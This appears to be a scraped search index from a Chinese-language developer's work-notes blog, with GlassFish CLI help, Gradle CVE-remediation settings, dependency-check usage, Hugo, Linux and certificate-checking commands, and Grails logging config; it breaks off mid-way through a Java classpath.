862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 asadmin\u003e help NAME help - displays the asadmin utility commands SYNOPSIS help [command_name] command_name [--help | -?] DESCRIPTION The help command displays a list of all the asadmin utility commands. Specify the command to display the usage informa-tion for that command. To display the man page of each com-mand, use the syntax: asadmin command_name --help | -? or asadmin help command_name The following is a list of all the asadmin utility commands: add-resources registers the resource in the specified XML file apply-http-lb-changes applies load balancer configuration changes to the load balancer backup-domain performs a backup on the domain change-admin-password changes the administrator password change-master-password changes the master password clear-ha-store deletes tables in the HA database configure-ha-cluster configures an existing cluster to be High Availability configure-ha-persistence enables configuration of parameters related to session persistence configure-lb-weight sets load balancing weights for clustered instances configure-webservice-management sets the monitoring or maxhistory or attributes of a deployed webservice copy-config copies an existing configuration to create a new confi-guration create-admin-object adds the administered object with the specified JNDI name create-application-ref creates a reference to an application create-audit-module creates an audit module for the optional plugin module create-auth-realm adds the named authorized realm create-cluster creates a cluster create-connector-connection-pool adds a connection pool with the specified connection pool name create-connector-resource registers the resource with the specified JNDI name create-connector-security-map creates or modifies a security map for the named connec- tor connection pool create-converged-lb creates a converged load balancer. Note - This command is available if you have installed Sun GlassFish Communications Server. create-converged-lb-config creates a converged load balancer configuration. Note - This command is available if you have installed Sun GlassFish Communications Server. create-converged-lb-ref creates a converged load balancer reference. Note - This command is available if you have installed Sun GlassFish Communications Server. create-custom-resource registers the custom resource create-domain creates a domain with the specified name create-file-user creates a new file user create-ha-store creates tables in HA database that are used by HA clus-ter create-http-health-checker creates a health-checker for a specified load balancer configuration create-http-lb creates a load balancer create-http-lb-config creates a configuration for the load balancer create-http-lb-ref add an existing cluster or server instance to an exist-ing load balancer configuration create-http-listener adds a new HTTP listener socket create-iiop-listener adds the IIOP listener create-instance creates an instance with the given name create-javamail-resource registers the Javamail resource create-jdbc-connection-pool registers the JDBC connection pool create-jdbc-resource registers the JDBC resource create-jms-host creates a JMS host create-jms-resource registers the JMS resource create-jmsdest adds the named destination create-jndi-resource registers the JNDI resource create-jvm-options creates the JVM options from the Java configuration or profiler elements create-lifecycle-module adds a lifecycle module create-management-rule creates a new management rule create-mbean creates and registers a custom MBean create-message-security-provider enables administrators to create the message-security-config and provider-config sub-elements for the security service in domain.xml create-node-agent-config adds a new unbound node agent to a domain create-node-agent creates a node agent and its associated directory struc-ture create-password-alias creates a password alias create-persistence-resource registers the persistence resource create-profiler creates the profiler element create-resource-adapter-config creates the resource adapter Java bean create-resource-ref creates a reference to a resource create-service configures the starting of a DAS or node agent on an unattended boot create-sip-listener creates the SIP listener. Note - This command is available if you have installed Sun GlassFish Communications Server. create-ssl creates the SSL element in the HTTP listener or IIOP listener create-system-properties adds or updates one or more system properties of the domain, configuration, cluster, or server instance create-threadpool creates the thread pool create-transformation-rule creates transformation rule for a deployed web service create-trust-config creates a trust configuration. create-trusted-entity creates a trusted entity. create-virtual-server adds the named virtual server delete-admin-object removes the administered object with the specified JNDI name delete-application-ref removes a reference to an application delete-audit-module deletes the audit-module for the optional plugin module delete-auth-realm removes the named authorized realm delete-converged-lb deletes the specified converged load balancer delete-converged-lb-config deletes the specified converged load balancer configura-tion. delete-converged-lb-ref deletes the specified converged load balancer reference. delete-cluster deletes a cluster delete-config deletes an existing configuration delete-connector-connection-pool removes the specified connection pool delete-connector-resource removes the named resource connector delete-connector-security-map deletes the named security map delete-custom-resource removes the custom resource delete-domain deletes the given domain delete-file-user removes the named file user delete-http-health-checker deletes a health-checker for a specified load balancer configuration delete-http-lb deletes a load balancer delete-http-lb-config deletes a load balancer configuration delete-http-lb-ref deletes the cluster or server instance from a load balancer configuration delete-http-listener removes the HTTP listener delete-iiop-listener removes the IIOP listener delete-instance deletes the instance that is not running delete-javamail-resource removes the Javamail resource delete-jdbc-connection-pool removes the JDBC connection pool delete-jdbc-resource removes the JDBC resource delete-jms-host removes a JMS host delete-jms-resource removes the JMS resource delete-jmsdest destroys the named destination delete-jndi-resource removes the JNDI resource delete-jvm-options deletes the JVM options from the Java configuration or profiler elements delete-lifecycle-module removes the lifecycle module delete-management-rule deletes a specified management rule delete-mbean deletes a custom MBean delete-message-security-provider enables administrators to delete a provider-config sub-element for the given message layer (message-security-config element of domain.xml) delete-node-agent-config removes a node agent from a domain delete-node-agent deletes the node agent and its associated directory structure delete-password-alias deletes a password alias delete-persistence-resource removes the persistence resource delete-profiler deletes the profiler element delete-resource-adapter-config deletes the resource adapter Java bean delete-resource-ref removes a reference to a resource delete-sip-listener deletes the specified SIP listener. delete-ssl deletes the ssl element from the HTTP listener or IIOP listener delete-system-property removes one or more system properties of the domain, configuration, cluster, or server instance delete-threadpool deletes the thread pool delete-transformation-rule deletes the transformation rule of a given web service delete-trust-config deletes the trust configuration. Note - This command is available if you have installed Sun GlassFish Communications Server. delete-trusted-entity deletes the trusted entity Note - This command is available if you have installed Sun GlassFish Communications Server. delete-virtual-server deletes the virtual server with the named virtual server ID deploy-jbi-service-assembly deploys a service assembly into the JBI environment deploy deploys the specified component deploydir deploys the component that is in the specified direc-tory, located in the domain disable-http-lb-server disables a sever or cluster managed by a load balancer disable-converged-lb-server disables a sever or cluster managed by a converged load balancer Note - This command is available if you have installed Sun GlassFish Communications Server. disable-http-lb-application disables an application managed by a load balancer disable stops the specified, deployed component display-error-distribution displays distribution of errors from instance server.log at module level display-error-statistics displays a summary list of severities and warnings display-log-records displays all the error messages for a given module at a given timestamp enable-converged-lb-server enables a previously disabled sever or cluster managed by a converged load balancer Note - This command is available if you have installed Sun GlassFish Communications Server. enable-http-lb-application enables a previously-disabled application managed by a load balancer enable-http-lb-server enables a previously disabled sever or cluster managed by a load balancer enable runs the specified, deployed component export-http-lb-config exports the load balancer configuration to a file that can be used by the load balancer export marks a variable name for automatic export to the environment of subsequent commands in multimode flush-jmsdest purges the messages in a JMS destination freeze-transaction-service immobilizes the named transaction service generate-diagnostic-report generates reports that can help diagnose malfunctioning generate-jvm-report shows the threads, classes and memory for a given target instance get-client-stubs gets the stubs of the client get gets the values of the monitorable or configurable attributes get-health provides information on the cluster health help displays a list of all the commands available in the command-line interface install-jbi-component installs a service engine or binding component into the JBI environment install-jbi-shared-library installs a shared library into the JBI environment jms-ping checks to see if the JMS provider is running list-admin-objects lists all the administered objects list-application-refs lists all application references in a cluster or unclustered server instance list-audit-modules lists the audit modules list-auth-realms lists the authorized realms list-backups lists all backups and restores list-clusters lists the existing clusters list-components lists deployed components list-configs lists all existing configurations list-connector-connection-pools gets all the connection pools list-connector-resources gets all the connector resources list-connector-security-maps lists the security maps for the connector connection pool list-converged-lbs lists all the converged load balancers. Note - This command is available if you have installed Sun GlassFish Communications Server. list-converged-lb-configs lists all the converged load balancer configurations. Note - This command is available if you have installed Sun GlassFish Communications Server. list-custom-resources gets all the custom resources list-domains lists the domains in the given domains directory list-file-groups lists the file groups list-file-users lists the file users list-http-lb-configs lists load balancer configurations list-http-lbs lists load balancers list-http-listeners gets the HTTP listeners list-iiop-listeners gets the IIOP listeners list-instances lists all the instances in the server list-javamail-resources gets all the Javamail resources list-jdbc-connection-pools registers the JDBC connection pool list-jdbc-resources gets all the JDBC resources list-jbi-binding-components lists the binding components installed on the specified target list-jbi-service-assemblies lists the service assemblies installed into the JBI environment list-jbi-service-engines lists the service engines installed on the specified target list-jbi-shared-libraries lists the JBI shared libraries that are installed into the JBI environment list-jms-hosts lists the existing JMS hosts list-jms-resources gets all the JMS resources list-jmsdest gets all the named destinations list-jndi-entries gets all the named destinations, browses and queries the JNDI tree list-jndi-resources gets all the JNDI resources list-lifecycle-modules gets the lifecycle modules list-management-rules lists the management rules created using the create-management-rule command list-mbeans lists the custom mbeans for a given target server instance list-message-security-providers enables administrators to list all security message pro-viders (provider-config sub-elements) for the given mes-sage layer (message-security-config element of domain.xml) list-node-agents lists the node agents along with their status list-password-aliases lists all password aliases list-persistence-resources gets all the persistence resources list-registry-locations returns list of configured web service registry access points list-resource-adapter-configs lists the resource adapters configured in an instance list-resource-refs lists the existing resource references list-sub-components lists EJBs or Servlets in a deployed module or in a module of a deployed application list-system-properties lists the system properties of the domain, configuration, cluster, or server instance list-threadpools lists the thread pools list-timers lists all of the timers owned by server instance(s) list-transformation-rules lists all the transformation rules of a given webservice list-trust-configs lists all identity assertion trust configurations. list-virtual-servers gets the virtual servers list lists the configurable elements and provides the fully qualified dotted names of the management components that have read-only or modifiable attributes login lets you log in to a domain migrate-timers moves a timer when a server instance stops monitor displays monitoring data for commonly-used components multimode allows you to execute multiple commands while returning environment settings and remaining in the asadmin util-ity ping-connection-pool tests if a connection pool is usable publish-to-registry publishes all the web service artifacts to registries recover-transactions manually recovers pending transactions remove-ha-cluster returns an HA cluster to non-HA status restore-domain restores files from backup rollback-transaction rolls back the named transaction set sets the values of attributes. Set command can be used to modify default properties of a resource. set-dcr-file uploads the Data Centric Rule (DCR) file from the Domain Administration Server (DAS). Note - This command is available if you have installed Sun GlassFish Communications Server. show-component-status displays the status of the deployed component show-jbi-binding-component shows detailed information about the specified binding component show-jbi-service-assembly shows detailed information about a specified service assembly show-jbi-service-engine shows detailed information about the specified service engine show-jbi-shared-library shows detailed information about a specified shared library shut-down-jbi-component shuts down a service engine or a binding component on the specified target shut-down-jbi-service-assembly shuts down a JBI service assembly on the specified tar-get start-appserv starts the domains in the specified domains directory start-callflow-monitoring provides the complete callflow/path of a request start-cluster starts a cluster start-database starts the bundled Java DB database start-domain starts the given domain start-instance starts a server instance start-jbi-component starts a service engine or a binding component on the specified target start-jbi-service-assembly starts a service assembly on the specified target start-node-agent starts a node agent stop-appserv stops the domains in the specified domains directory stop-callflow-monitoring disables collection of callflow information of a request stop-cluster stops a cluster stop-database stops the bundled Java DB database stop-domain stops the given domain stop-instance stops a server instance stop-jbi-component stops a service engine or a binding component on the specified target stop-jbi-service-assembly stops a service assembly on the specified target stop-node-agent stops a node agent undeploy-jbi-service-assembly undeploys a service assembly on the specified target undeploy removes a component in the domain unfreeze-transaction-service mobilizes the named transaction service uninstall-jbi-component uninstalls a service engine or binding component on the specified target uninstall-jbi-shared-library uninstalls a shared library on the specified target unpublish-from-registry unpublishes the web service artifacts from the regis-tries unset removes one or more variables from the multimode environment unset removes one or more variables from the multimode environment unset-dcr-file removes the Data Centric Rule (DCR) file from the Domain Administration Server (DAS). Note - This command is available if you have installed Sun GlassFish Communications Server. update-file-user updates a current file user as specified update-password-alias updates a password alias upgrade-jbi-component upgrades a service engine or binding component verify-domain-xml verifies the content of the domain.xml version displays the version information The following commands are deprecated: o display-license o install-license o restart-instance o shutdown o create-acl o delete-acl o list-acls o start-appserv o stop-appserv EXAMPLES Example 1 Using help asadmin\u003e help asadmin\u003e create-domain --help Where: create-domain is the command you wish to view the usage for. SEE ALSO asadmin(1M) ","title":"GlassFish 2.1.1.1 CLI 說明文件","type":"worknot"},{"content":"","date":"April 28, 2024","externalUrl":null,"permalink":"/tags/grails/","section":"Tags","summary":"","title":"Grails","type":"tags"},{"content":"今天在為自己的專案做CVE 弱點掃描，解決過程中需要為專案進行 plugin 相依升級。在 build.gradle 設定如下\nbuild.gradle 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 configurations{ // 強制移除 implementation { exclude group: \u0026#39;com.h2database\u0026#39; //CVE-2022-45868,CVE-2022-23221,CVE-2021-42392 exclude group: \u0026#34;org.graalvm.sdk\u0026#34; exclude group: \u0026#34;com.bertramlabs.plugins:asset-pipeline-core\u0026#34; } // 強制升級 all{ resolutionStrategy.eachDependency { DependencyResolveDetails details -\u0026gt; ModuleVersionSelector requested = details.requested List forcePlugins = [ [group: \u0026#39;org.yaml\u0026#39;, name: \u0026#39;snakeyaml\u0026#39;, useVersion: \u0026#39;1.33\u0026#39;], ] forcePlugins.each {forcePlugin -\u0026gt; if (requested.group == forcePlugin.group \u0026amp;\u0026amp; requested.name == forcePlugin.name ) { details.useVersion forcePlugin.useVersion } } } } } ","date":"April 28, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240428-2/","section":"Worknots","summary":"今天在為自己的專案做CVE 弱點掃描，解決過程中需要為專案進行 plugin 相依升級。在 build.gradle 設定如下\nbuild.gradle 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 configurations{ // 強制移除 implementation { exclude group: 'com.h2database' //CVE-2022-45868,CVE-2022-23221,CVE-2021-42392 exclude group: \"org.graalvm.sdk\" exclude group: \"com.bertramlabs.plugins:asset-pipeline-core\" } // 強制升級 all{ resolutionStrategy.eachDependency { DependencyResolveDetails details -\u003e ModuleVersionSelector requested = details.requested List forcePlugins = [ [group: 'org.yaml', name: 'snakeyaml', useVersion: '1.33'], ] forcePlugins.each {forcePlugin -\u003e if (requested.group == forcePlugin.group \u0026\u0026 requested.name == forcePlugin.name ) { details.useVersion forcePlugin.useVersion } } } } } ","title":"grails5 強制升級 plugin 相依","type":"worknot"},{"content":"下載\n1 2 wget https://github.com/jeremylong/DependencyCheck/releases/download/v9.1.0/dependency-check-9.1.0-release.zip sudo unzip -q dependency-check-9.1.0-release.zip -d /usr/local/share 執行 # 1 /usr/local/share/dependency-check/bin/dependency-check.sh -s ~/Documents/gitContent/pollochang/TWGBC/pollo-twgcb-web/build/libs/pollo-twgcb-web.war --format HTML -o ./ 參考資料 # DependencyCheck ","date":"April 28, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240428-1/","section":"Worknots","summary":"下載\n1 2 wget https://github.com/jeremylong/DependencyCheck/releases/download/v9.1.0/dependency-check-9.1.0-release.zip sudo unzip -q dependency-check-9.1.0-release.zip -d /usr/local/share 執行 # 1 /usr/local/share/dependency-check/bin/dependency-check.sh -s ~/Documents/gitContent/pollochang/TWGBC/pollo-twgcb-web/build/libs/pollo-twgcb-web.war --format HTML -o ./ 參考資料 # DependencyCheck ","title":"dependency-check","type":"worknot"},{"content":"","date":"April 27, 2024","externalUrl":null,"permalink":"/tags/hugo/","section":"Tags","summary":"","title":"Hugo","type":"tags"},{"content":"hugo + gitHub 是我自己架設網站的工具，這邊我簡單紀錄一下常用的指令\n新增文章 1 hugo new worknot/worknot-$(date \u0026#39;+%Y%m%d\u0026#39;).md 預覽文章，包含草稿 1 hugo server 預覽文章，包含草稿 1 hugo server -D 寫好的內容推送到網站 1 2 3 4 5 6 #!/bin/bash hugo git -C public add . git -C public commit -m \u0026#34;更新筆記\u0026#34; git -C public push ","date":"April 27, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240427-1/","section":"Worknots","summary":"hugo + gitHub 是我自己架設網站的工具，這邊我簡單紀錄一下常用的指令\n新增文章 1 hugo new worknot/worknot-$(date '+%Y%m%d').md 預覽文章，包含草稿 1 hugo server 預覽文章，包含草稿 1 hugo server -D 寫好的內容推送到網站 1 2 3 4 5 6 #!/bin/bash hugo git -C public add . git -C public commit -m \"更新筆記\" git -C public push ","title":"hugo 筆記","type":"worknot"},{"content":"查詢 java 所有的進程\n1 2 3 4 5 6 ❯ top -b -n 1 | grep java | cut -c 1-7 8190 15263 15512 16641 17148 假設我要刪除 java 全部的進程可以這樣處理\n1 ❯ top -b -n 1 | grep java | cut -c 1-7 | xargs kill -9 ","date":"April 27, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240427/","section":"Worknots","summary":"查詢 java 所有的進程\n1 2 3 4 5 6 ❯ top -b -n 1 | grep java | cut -c 1-7 8190 15263 15512 16641 17148 假設我要刪除 java 全部的進程可以這樣處理\n1 ❯ top -b -n 1 | grep java | cut -c 1-7 | xargs kill -9 ","title":"一到指令刪除相關進程","type":"worknot"},{"content":" curl # 1 curl https://www.google.com -v -k 2\u0026gt;\u0026amp;1 | grep -E \u0026#34;Connected to|subject|expire\u0026#34; 執行結果 1 2 3 4 5 6 7 8 ❯ curl https://www.google.com -v -k 2\u0026gt;\u0026amp;1 | grep -E \u0026#34;Connected to|subject|expire\u0026#34; * Connected to www.google.com (2404:6800:4012:2::2004) port 443 (#0) * subject: CN=www.google.com * expire date: Jun 10 20:38:48 2024 GMT \u0026lt; expires: -1 \u0026lt; set-cookie: 1P_JAR=2024-04-25-23; expires=Sat, 25-May-2024 23:03:14 GMT; path=/; domain=.google.com; Secure \u0026lt; set-cookie: AEC=AQTF6Hw4gUm8n5W0uPUDTe6vEa8fTROwT6DEAUWQ6FTKMp52DrhWnROmmw; expires=Tue, 22-Oct-2024 23:03:14 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax \u0026lt; set-cookie: NID=513=TZnGjLI3KvFu_SLuZJCrPktY6GMHeuK3Hg8ht9ojqTr_OgX460hGPFUccru0PZr2J1pWw_mynjevt8eTyWu0pN9gPXi4hcJkFUQzR9SJlTfypnftjNlM9CGEu1956tVk67u6tWkrNRa2zi8QdXzULlXJZ2wO1tBrzCGnmRJ4nyg; expires=Fri, 25-Oct-2024 23:03:14 GMT; path=/; domain=.google.com; HttpOnly openssl # 1 echo | openssl s_client -servername www.google.com -connect www.google.com:443 | openssl x509 -noout -dates 執行結果 1 2 3 4 5 6 7 8 9 10 ❯ echo | openssl s_client -servername www.google.com -connect www.google.com:443 | openssl x509 -noout -dates depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services LLC, CN = GTS CA 1C3 verify return:1 depth=0 CN = www.google.com verify return:1 DONE notBefore=Mar 18 20:38:49 2024 GMT notAfter=Jun 10 20:38:48 2024 GMT ","date":"April 26, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240426/","section":"Worknots","summary":"curl # 1 curl https://www.google.com -v -k 2\u003e\u00261 | grep -E \"Connected to|subject|expire\" 執行結果 1 2 3 4 5 6 7 8 ❯ curl https://www.google.com -v -k 2\u003e\u00261 | grep -E \"Connected to|subject|expire\" * Connected to www.google.com (2404:6800:4012:2::2004) port 443 (#0) * subject: CN=www.google.com * expire date: Jun 10 20:38:48 2024 GMT \u003c expires: -1 \u003c set-cookie: 1P_JAR=2024-04-25-23; expires=Sat, 25-May-2024 23:03:14 GMT; path=/; domain=.google.com; Secure \u003c set-cookie: AEC=AQTF6Hw4gUm8n5W0uPUDTe6vEa8fTROwT6DEAUWQ6FTKMp52DrhWnROmmw; expires=Tue, 22-Oct-2024 23:03:14 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax \u003c set-cookie: NID=513=TZnGjLI3KvFu_SLuZJCrPktY6GMHeuK3Hg8ht9ojqTr_OgX460hGPFUccru0PZr2J1pWw_mynjevt8eTyWu0pN9gPXi4hcJkFUQzR9SJlTfypnftjNlM9CGEu1956tVk67u6tWkrNRa2zi8QdXzULlXJZ2wO1tBrzCGnmRJ4nyg; expires=Fri, 25-Oct-2024 23:03:14 GMT; path=/; domain=.google.com; HttpOnly openssl # 1 echo | openssl s_client -servername www.google.com -connect www.google.com:443 | openssl x509 -noout -dates 執行結果 1 2 3 4 5 6 7 8 9 10 ❯ echo | openssl s_client -servername www.google.com -connect www.google.com:443 | openssl x509 -noout -dates depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services LLC, CN = GTS CA 1C3 verify return:1 depth=0 CN = www.google.com verify return:1 DONE notBefore=Mar 18 20:38:49 2024 GMT notAfter=Jun 10 20:38:48 2024 GMT ","title":"CLI 檢查網站憑證","type":"worknot"},{"content":" grep: 過濾資料 1 grep 要過濾出的資料 exampleFileSource.log \u0026gt; exampleFile.log cut 切除每行前 60 個字元 1 cut -b 60- exampleFile.log \u0026gt; exampleFile.2.log sort: 類似 sql distinct 效果 1 grep 要過濾出的資料 exampleFile.2.log | sort --unique 分析 message IP # 1 2 grep \u0026#34;martian source\u0026#34; messages | grep -oE \u0026#39;([0-9]{1,3}\\.){3}[0-9]{1,3}\u0026#39; \u0026gt;\u0026gt; messages-IP.log sort messages-IP.log | uniq -c | sort -nr ","date":"April 25, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240425/","section":"Worknots","summary":" grep: 過濾資料 1 grep 要過濾出的資料 exampleFileSource.log \u003e exampleFile.log cut 切除每行前 60 個字元 1 cut -b 60- exampleFile.log \u003e exampleFile.2.log sort: 類似 sql distinct 效果 1 grep 要過濾出的資料 exampleFile.2.log | sort --unique 分析 message IP # 1 2 grep \"martian source\" messages | grep -oE '([0-9]{1,3}\\.){3}[0-9]{1,3}' \u003e\u003e messages-IP.log sort messages-IP.log | uniq -c | sort -nr ","title":"linux 資料基礎分析","type":"worknot"},{"content":"","date":"April 25, 2024","externalUrl":null,"permalink":"/tags/%E8%B3%87%E6%96%99%E5%88%86%E6%9E%90/","section":"Tags","summary":"","title":"資料分析","type":"tags"},{"content":" 注入: conf/spring/resources.groovy 1 2 3 4 5 6 7 8 package spring import work.pollochang.pollo.grails.db.aop.CustomInterceptor // Place your Spring DSL code here beans = { customInterceptor(CustomInterceptor) } 設定 log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;conversionRule conversionWord=\u0026#34;clr\u0026#34; converterClass=\u0026#34;org.springframework.boot.logging.logback.ColorConverter\u0026#34; /\u0026gt; \u0026lt;conversionRule conversionWord=\u0026#34;wex\u0026#34; converterClass=\u0026#34;org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\u0026#34; /\u0026gt; \u0026lt;appender name=\u0026#34;STDOUT\u0026#34; class=\u0026#34;ch.qos.logback.core.ConsoleAppender\u0026#34;\u0026gt; \u0026lt;encoder\u0026gt; \u0026lt;charset\u0026gt;UTF-8\u0026lt;/charset\u0026gt; \u0026lt;pattern\u0026gt;%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(%5p) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n%wex\u0026lt;/pattern\u0026gt; \u0026lt;/encoder\u0026gt; \u0026lt;/appender\u0026gt; \u0026lt;logger name=\u0026#34;org.hibernate\u0026#34; level=\u0026#34;trace\u0026#34; /\u0026gt; \u0026lt;logger name=\u0026#34;work.pollochang.demo\u0026#34; level=\u0026#34;trace\u0026#34; /\u0026gt; \u0026lt;logger name=\u0026#34;work.pollochang.pollo.grails.db.aop\u0026#34; level=\u0026#34;trace\u0026#34; /\u0026gt; \u0026lt;root level=\u0026#34;error\u0026#34;\u0026gt; \u0026lt;appender-ref ref=\u0026#34;STDOUT\u0026#34; /\u0026gt; \u0026lt;/root\u0026gt; \u0026lt;/configuration\u0026gt; 系統初始化 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 /usr/local/lib/jvm/jdk-17.0.8.1+1/bin/java -XX:+TieredCompilation -XX:TieredStopAtLevel=1 -XX:CICompilerCount=3 -Dfile.encoding=UTF-8 -classpath /home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-shell/5.3.6/1884cf57d58b276d0eaf80d0c32d6f9684c6dcc2/grails-shell-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-cli/2.7.9/77896f5894b385d7b7715c5ff7770265ed56b46f/spring-boot-cli-2.7.9.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-resolver-provider/3.8.3/43e0622c74fa0eb1e451efb1d7a0f7b7e7625f31/maven-resolver-provider-3.8.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-connector-basic/1.9.16/4f465c03600acabbcef4e2b591f52e5c11710c22/maven-resolver-connector-basic-1.9.16.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-impl/1.9.5/59a76bfe8b2da737828b7b553a50ca9d5e4a5633/maven-resolver-impl-1.9.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-transport-file/1.9.5/8b8b7f506558b080b8213dea039505f4379c5bbf/maven-resolver-transport-file-1.9.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-transport-http/1.9.14/1eb4acdce7f21526bd06654b3d7b1edf80370ce8/maven-resolver-transport-http-1.9.14.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.httpcomponents/httpclient/4.5.14/1194890e6f56ec29177673f2f12d0b8e627dec98/httpclient-4.5.14.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-codec/commons-codec/1.15/49d94806b6e3dc933dacbd8acb0fdbab8ebd1e5d/commons-codec-1.15.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-bootstrap/5.3.6/90eeea5f0e82ad58bd0f124ce1454679b0496002/grails-bootstrap-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-gradle-model/5.3.6/c02cf46250333d6d8323cfa1d438b7058db77a10/grails-gradle-model-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-ant/3.0.11/72e9781d96b81ba699e264c88f60a232c5c800e1/groovy-ant-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-json/3.0.11/4ebecf885428c95ab3a649c8226ece553fc6f264/groovy-json-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-jmx/3.0.11/bdd9eb48a83b5e8904a334fbd921679a8840a780/groovy-jmx-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-templates/3.0.11/c130de7a9cac4d0788e320acd2b99d084e78e003/groovy-templates-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-xml/3.0.11/65a18a9c3c88d90616139754c1aac054df6329c2/groovy-xml-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy/3.0.11/b1759d82dcf4f57299c8555a76330532d2d77b47/groovy-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/jcl-over-slf4j/1.7.36/d877e195a05aca4a2f1ad2ff14bfec1393af4b5e/jcl-over-slf4j-1.7.36.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.gradle/gradle-tooling-api/6.9/2ecc9546561a4b1bb38f441f9bac1d4bff13f5ff/gradle-tooling-api-6.9.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven.resolver/maven-resolver-named-locks/1.9.5/b2e36d69cdb3744a3c21eeb540a49d37e3d35847/maven-resolver-named-locks-1.9.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-inject/3.8.5/2e0312aabc8594a6363f59057e6de992b932eb02/micronaut-inject-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-core/3.8.5/77936e19b984225689e4e231e73abf329ad4648/micronaut-core-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/slf4j-api/1.7.36/6c62681a2f655b49963a5983b8b0950a6120ae14/slf4j-api-1.7.36.jar:/home/jameschang/.gradle/caches/modules-